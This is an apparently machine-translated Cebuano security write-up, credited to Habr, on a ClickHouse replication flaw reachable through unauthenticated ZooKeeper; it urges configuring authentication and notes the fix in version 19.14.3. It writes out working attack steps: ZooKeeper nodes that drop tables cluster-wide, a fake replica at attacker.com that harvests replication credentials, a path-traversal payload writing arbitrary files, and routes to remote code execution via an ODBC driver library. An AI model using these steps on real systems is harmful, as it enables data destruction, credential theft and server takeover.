Ngano nga kinahanglan nimo nga sirado ang mga zoo cage?

Ngano nga kinahanglan nimo nga sirado ang mga zoo cage?

Kini nga artikulo magsulti sa istorya sa usa ka piho nga pagkahuyang sa ClickHouse replication protocol, ug ipakita usab kung giunsa ang pag-atake sa nawong mahimong mapalapad.

Ang ClickHouse usa ka database alang sa pagtipig sa daghang mga volume sa datos, kasagaran gamit ang labaw sa usa ka kopya. Ang clustering ug replication sa ClickHouse gitukod sa ibabaw Apache ZooKeeper (ZK) ug nanginahanglan mga katungod sa pagsulat.

Ang default nga pag-instalar sa ZK wala magkinahanglan og panghimatuud, mao nga liboan ka mga ZK server nga gigamit sa pag-configure sa Kafka, Hadoop, ClickHouse anaa sa publiko.

Aron maminusan ang imong pag-atake, kinahanglan nimo kanunay nga i-configure ang pag-authenticate ug pagtugot sa pag-install sa ZooKeeper

Adunay siyempre pipila ka mga adlaw nga nakabase sa Java deserializations, apan hunahunaa nga ang usa ka tig-atake makabasa ug makasulat sa ZooKeeper, nga gigamit alang sa pagkopya sa ClickHouse.

Kung gi-configure sa cluster mode, gisuportahan sa ClickHouse ang gipang-apod-apod nga mga pangutana DDL, nga moagi sa ZK - alang kanila ang mga node gihimo sa sheet /clickhouse/task_queue/ddl.

Pananglitan, naghimo ka usa ka node /clickhouse/task_queue/ddl/query-0001 uban sa sulod:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

ug pagkahuman niana, ang lamesa sa pagsulay matangtang sa mga cluster server host1 ug host2. Gisuportahan usab sa DDL ang pagpadagan sa CREATE/ALTER/DROP nga mga pangutana.

Makahadlok ang tingog? Apan asa makakuha og mga adres sa server ang tig-atake?

Replikasyon sa ClickHouse nagtrabaho sa lebel sa indibidwal nga mga lamesa, aron kung ang usa ka lamesa gihimo sa ZK, usa ka server ang gitakda nga responsable sa pagbayloay sa metadata sa mga replika. Pananglitan, kung nagpatuman sa usa ka hangyo (Kinahanglan i-configure ang ZK, chXX - ngalan sa replika, foobar - ngalan sa lamesa):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

mabuhat ang mga node mga haligi ΠΈ Metadata.

Kontento /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Posible ba nga i-merge ang datos gikan sa kini nga cluster? Oo, kung ang replication port (TCP/9009) sa server chXX-address ang firewall dili sirado ug ang pag-authenticate alang sa pagkopya dili ma-configure. Unsaon pagbypass ang authentication?

Ang usa ka tig-atake makahimo og bag-ong replika sa ZK pinaagi lamang sa pagkopya sa mga sulod gikan sa /clickhouse/tables/01-01/foobar/replicas/chXX ug pagbag-o sa kahulogan host.

Kontento /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Unya kinahanglan nimo nga isulti sa ubang mga replika nga adunay bag-ong bloke sa datos sa server sa tig-atake nga kinahanglan nilang kuhaon - usa ka node ang gihimo sa ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotonically growing counter, nga kinahanglang mas dako kay sa kataposan sa event log):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

diin tinubdan_replica - ang ngalan sa replika sa tig-atake nga gihimo sa miaging lakang, block_id - data block identifier, og - "pagkuha block" nga sugo (ug ania ang mga sugo alang sa ubang mga operasyon).

Sunod, ang matag replika nagbasa sa usa ka bag-ong panghitabo sa log ug moadto sa usa ka server nga kontrolado sa tig-atake aron makadawat usa ka bloke sa datos (ang replikasyon nga protocol binary, nga nagdagan sa ibabaw sa HTTP). Server attacker.com makadawat og mga hangyo:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

diin ang XXX mao ang authentication data para sa replikasyon. Sa pipila ka mga kaso, kini mahimong usa ka asoy nga adunay access sa database pinaagi sa nag-unang ClickHouse protocol ug sa HTTP protocol. Sama sa imong nakita, ang nawong sa pag-atake nahimong labi ka dako tungod kay ang ZooKeeper, nga gigamit alang sa pagkopya, gibiyaan nga wala gi-configure ang pagkumpirma.

Atong tan-awon ang function sa pagkuha sa usa ka block sa data gikan sa usa ka replika, kini gisulat uban sa bug-os nga pagsalig nga ang tanan nga mga replika anaa sa ilalum sa husto nga kontrol ug adunay pagsalig sa taliwala kanila.

Ngano nga kinahanglan nimo nga sirado ang mga zoo cage?
code sa pagproseso sa replikasyon

Ang function nagbasa sa usa ka lista sa mga file, dayon ang ilang mga ngalan, gidak-on, sulud, ug dayon isulat kini sa file system. Angayan nga gilain nga paghulagway kung giunsa ang data gitipigan sa file system.

Adunay daghang mga subdirectory sa /var/lib/clickhouse (default nga direktoryo sa pagtipig gikan sa configuration file):

bandila - direktoryo alang sa pagrekord mga bandera, gigamit sa pagbawi human sa pagkawala sa data;
tmp - direktoryo alang sa pagtipig sa temporaryo nga mga file;
user_files β€” Ang mga operasyon nga adunay mga file sa mga hangyo limitado sa kini nga direktoryo (INTO OUTFILE ug uban pa);
Metadata - sql file nga adunay mga paghulagway sa lamesa;
preprocessed_configs - giproseso nga derivative configuration files gikan sa /etc/clickhouse-server;
nga data - ang aktuwal nga direktoryo nga adunay data mismo, sa kini nga kaso alang sa matag database usa ka bulag nga subdirektoryo ang gihimo dinhi (pananglitan /var/lib/clickhouse/data/default).

Alang sa matag lamesa, usa ka subdirectory ang gihimo sa direktoryo sa database. Ang matag kolum usa ka lahi nga file depende sa porma sa makina. Pananglitan alang sa usa ka lamesa foobarnga gihimo sa usa ka tig-atake, ang mosunod nga mga file pagabuhaton:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Ang replica nagpaabot nga makadawat og mga file nga adunay parehas nga mga ngalan kung magproseso sa usa ka bloke sa datos ug dili kini balido sa bisan unsang paagi.

Ang matinagdanon nga magbabasa tingali nakadungog na bahin sa dili luwas nga pagdugtong sa file_name sa usa ka function WriteBufferFromFile. Oo, kini nagtugot sa usa ka tig-atake sa pagsulat arbitraryong sulod sa bisan unsa nga file sa FS uban sa user katungod clickhouse. Aron mahimo kini, ang replika nga kontrolado sa tig-atake kinahanglan nga ibalik ang mosunod nga tubag sa hangyo (gidugang ang mga linya sa linya aron dali masabtan):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

ug pagkahuman sa pagdugtong ../../../../../../../../../tmp/pwned ang file isulat /tmp/pwned uban sa sulod hellofromzookeeper.

Adunay daghang mga kapilian alang sa paghimo sa kapabilidad sa pagsulat sa file ngadto sa remote code execution (RCE).

Mga eksternal nga diksyonaryo sa RCE

Sa daan nga mga bersyon, ang direktoryo nga adunay mga setting sa ClickHouse gitipigan nga adunay mga katungod sa tiggamit clickhouse default. Ang mga file sa setting mao ang mga XML file nga gibasa sa serbisyo sa pagsugod ug dayon gi-cache /var/lib/clickhouse/preprocessed_configs. Kung mahitabo ang mga pagbag-o, kini gibasa pag-usab. Kung naa kay access sa /etc/clickhouse-server ang usa ka tig-atake makahimo sa iyang kaugalingon eksternal nga diksyonaryo executable type ug dayon i-execute ang arbitrary code. Ang kasamtangan nga mga bersyon sa ClickHouse wala maghatag ug mga katungod pinaagi sa default, apan kung ang server hinay-hinay nga gi-update, ang maong mga katungod mahimong magpabilin. Kung nagsuporta ka sa usa ka cluster sa ClickHouse, susiha ang mga katungod sa direktoryo sa mga setting, kini kinahanglan nga iya sa user root.

ODBC ngadto sa RCE

Sa pag-instalar sa usa ka pakete, usa ka user ang gibuhat clickhouse, apan ang direktoryo sa balay niini wala gihimo /nonexistent. Bisan pa, kung mogamit mga eksternal nga diksyonaryo, o alang sa ubang mga hinungdan, ang mga administrador maghimo usa ka direktoryo /nonexistent ug ihatag ang tiggamit clickhouse access sa pagsulat niini (SSZB! gibanabana. tighubad).

Gisuportahan sa ClickHouse ODBC ug makakonektar sa ubang mga database. Sa ODBC, mahimo nimong itakda ang agianan sa database driver library (.so). Ang mga daan nga bersyon sa ClickHouse nagtugot kanimo sa pagbuhat niini direkta sa tigdumala sa hangyo, apan karon usa ka mas estrikto nga pagsusi sa koneksyon string ang gidugang sa odbc-bridge, mao nga dili na posible nga ipiho ang agianan sa drayber gikan sa hangyo. Apan mahimo bang magsulat ang usa ka tig-atake sa direktoryo sa balay gamit ang pagkahuyang nga gihulagway sa ibabaw?

Magbuhat ta ug file ~/.odbc.ini nga adunay sulod nga sama niini:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

unya sa pagsugod SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ang librarya makarga test.so ug nakadawat RCE (salamat buglloc alang sa tip).

Kini ug uban pang mga kahuyangan giayo sa ClickHouse nga bersyon 19.14.3. Pag-atiman sa imong ClickHouse ug ZooKeepers!

Source: www.habr.com

Idugang sa usa ka comment